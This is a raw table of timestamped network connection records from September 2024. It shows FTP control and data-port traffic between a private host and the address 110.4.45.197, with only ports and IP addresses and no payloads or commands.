Sep 25, 2024 14:46:10.324565887 CEST	65048	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:10.339101076 CEST	21	65048	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:10.350428104 CEST	21	65048	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:10.350492001 CEST	65048	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:10.707081079 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:10.710944891 CEST	65049	52851	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:10.735255003 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:10.735379934 CEST	65049	52851	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:10.735522032 CEST	65045	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:10.769364119 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.621846914 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.622195959 CEST	65049	52851	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:11.627837896 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.627852917 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.627866983 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.627880096 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.627891064 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.627897024 CEST	65049	52851	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:11.627904892 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.627918959 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.627923012 CEST	65049	52851	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:11.627932072 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.627943993 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.627948999 CEST	65049	52851	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:11.627958059 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.627985954 CEST	65049	52851	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:11.628016949 CEST	65049	52851	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:11.635231972 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.635262966 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.635286093 CEST	65049	52851	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:11.635289907 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.635318995 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.635329008 CEST	65049	52851	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:11.635354996 CEST	65049	52851	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:11.635377884 CEST	65049	52851	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:11.635642052 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.635766029 CEST	65049	52851	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:11.637626886 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.637655973 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.637681961 CEST	65049	52851	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:11.637723923 CEST	65049	52851	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:11.638622046 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.638681889 CEST	65049	52851	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:11.639272928 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.639354944 CEST	65049	52851	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:11.640543938 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.640574932 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.640603065 CEST	65049	52851	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:11.642788887 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.642817020 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.642844915 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.644583941 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.644742012 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.644768953 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.644795895 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.645900011 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.645929098 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.646581888 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.647202969 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.647229910 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.648854017 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.648883104 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.648910046 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.648950100 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.648977041 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.649003983 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.649032116 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.649059057 CEST	52851	65049	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:11.649116993 CEST	65049	52851	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:11.733412981 CEST	65045	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:12.597202063 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:12.717811108 CEST	65045	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:13.977505922 CEST	65045	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:14.009562969 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:14.397054911 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:14.397623062 CEST	65050	60062	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:14.402712107 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:14.402786016 CEST	65050	60062	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:14.402879953 CEST	65045	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:14.408317089 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.331830978 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.333569050 CEST	65050	60062	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:15.339924097 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.339991093 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.340004921 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.340091944 CEST	65050	60062	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:15.340500116 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.340514898 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.340527058 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.340538979 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.340553045 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.340565920 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.340579987 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.340639114 CEST	65050	60062	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:15.341074944 CEST	65050	60062	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:15.346107960 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.346606016 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.346652985 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.346663952 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.346678019 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.346690893 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.346697092 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.346703053 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.346756935 CEST	65050	60062	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:15.346839905 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.346853971 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.346863985 CEST	65050	60062	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:15.346920013 CEST	65050	60062	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:15.347131014 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.347141981 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.347148895 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.347254992 CEST	65050	60062	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:15.354046106 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.354101896 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.354115963 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.354630947 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.354640961 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.354645014 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.354649067 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.354652882 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.354656935 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.354846954 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.355029106 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.355041027 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.355047941 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.355053902 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.355061054 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.355746031 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.355756044 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.355760098 CEST	60062	65050	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:15.355904102 CEST	65050	60062	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:15.421375036 CEST	65045	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:16.296406031 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:16.420926094 CEST	65045	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:33.817956924 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:33.822963953 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:33.865015984 CEST	65051	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:33.869863033 CEST	21	65051	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:33.869962931 CEST	65051	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:34.410547972 CEST	65045	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:34.447510958 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:34.447932959 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:34.447945118 CEST	65052	57687	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:34.447998047 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:34.449338913 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:34.453737974 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:34.453802109 CEST	65052	57687	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:34.453856945 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:34.459418058 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:34.841181993 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:34.841605902 CEST	65053	50852	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:34.849596977 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:34.849666119 CEST	65053	50852	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:34.849772930 CEST	65045	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:34.857817888 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.398848057 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.399091959 CEST	65052	57687	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.409225941 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.409238100 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.409245968 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.409255981 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.409265041 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.409297943 CEST	65052	57687	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.409341097 CEST	65052	57687	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.409374952 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.409387112 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.409399033 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.409415960 CEST	65052	57687	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.409430981 CEST	65052	57687	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.409449100 CEST	65052	57687	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.417926073 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.417938948 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.417980909 CEST	65052	57687	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.417999983 CEST	65052	57687	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.418556929 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.418566942 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.418576002 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.418615103 CEST	65052	57687	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.418636084 CEST	65052	57687	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.418688059 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.418699980 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.418708086 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.418737888 CEST	65052	57687	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.418759108 CEST	65052	57687	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.418853998 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.418912888 CEST	65052	57687	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.419166088 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.419235945 CEST	65052	57687	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.422843933 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.422914982 CEST	65052	57687	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.423538923 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.423594952 CEST	65052	57687	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.423634052 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.423682928 CEST	65052	57687	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.423713923 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.423724890 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.423777103 CEST	65052	57687	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.423810959 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.423922062 CEST	65052	57687	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.423940897 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.423952103 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.423984051 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.424091101 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.424232006 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.427927017 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.428463936 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.428474903 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.428483963 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.428566933 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.428576946 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.428673983 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.428683996 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.428711891 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.429023027 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.429229021 CEST	57687	65052	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.429291964 CEST	65052	57687	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.452270031 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.744278908 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.744622946 CEST	65053	50852	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.750345945 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.750358105 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.750368118 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.750390053 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.750399113 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.750408888 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.750421047 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.750430107 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.750442028 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.750451088 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.750468016 CEST	65053	50852	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.750529051 CEST	65053	50852	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.755311966 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.755392075 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.755417109 CEST	65053	50852	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.755435944 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.755445957 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.755455017 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.755464077 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.755465984 CEST	65053	50852	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.755492926 CEST	65053	50852	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.755511999 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.755544901 CEST	65053	50852	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.755554914 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.755564928 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.755604982 CEST	65053	50852	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.755661011 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.755727053 CEST	65053	50852	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.755894899 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.760320902 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.760354996 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.760416031 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.760474920 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.760484934 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.760504961 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.760514021 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.760525942 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.760637999 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.760688066 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.760698080 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.760706902 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.760715961 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.760734081 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.760742903 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.760751963 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.760761023 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.760768890 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.761133909 CEST	50852	65053	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.761219978 CEST	65053	50852	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.796036005 CEST	65045	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.834079981 CEST	21	65051	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:35.834309101 CEST	65051	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:35.839108944 CEST	21	65051	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:36.221298933 CEST	21	65051	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:36.221535921 CEST	65051	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:36.227921963 CEST	21	65051	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:36.313978910 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:36.361427069 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:36.657290936 CEST	21	65051	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:36.657468081 CEST	65051	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:36.662342072 CEST	21	65051	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:36.697979927 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:36.749125957 CEST	65045	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:37.054893970 CEST	21	65051	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:37.055047989 CEST	65051	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:37.060050964 CEST	21	65051	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:37.457376003 CEST	21	65051	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:37.457590103 CEST	65051	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:37.462466955 CEST	21	65051	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:37.933031082 CEST	21	65051	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:37.933207035 CEST	65051	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:37.938031912 CEST	21	65051	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:38.291529894 CEST	21	65051	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:38.291939020 CEST	65054	51370	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:38.296911955 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:38.297013998 CEST	65054	51370	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:38.297013998 CEST	65051	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:38.301855087 CEST	21	65051	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.207407951 CEST	21	65051	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.207662106 CEST	65054	51370	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:39.212594986 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.212605953 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.212615013 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.212650061 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.212661028 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.212697029 CEST	65054	51370	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:39.212733030 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.212742090 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.212784052 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.212793112 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.212812901 CEST	65054	51370	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:39.212836027 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.212869883 CEST	65054	51370	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:39.212935925 CEST	65054	51370	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:39.217852116 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.217863083 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.217870951 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.217881918 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.217892885 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.217925072 CEST	65054	51370	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:39.217959881 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.217983961 CEST	65054	51370	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:39.217988014 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.218018055 CEST	65054	51370	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:39.218074083 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.218077898 CEST	65054	51370	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:39.218084097 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.218152046 CEST	65054	51370	192.168.2.9	110.4.45.197
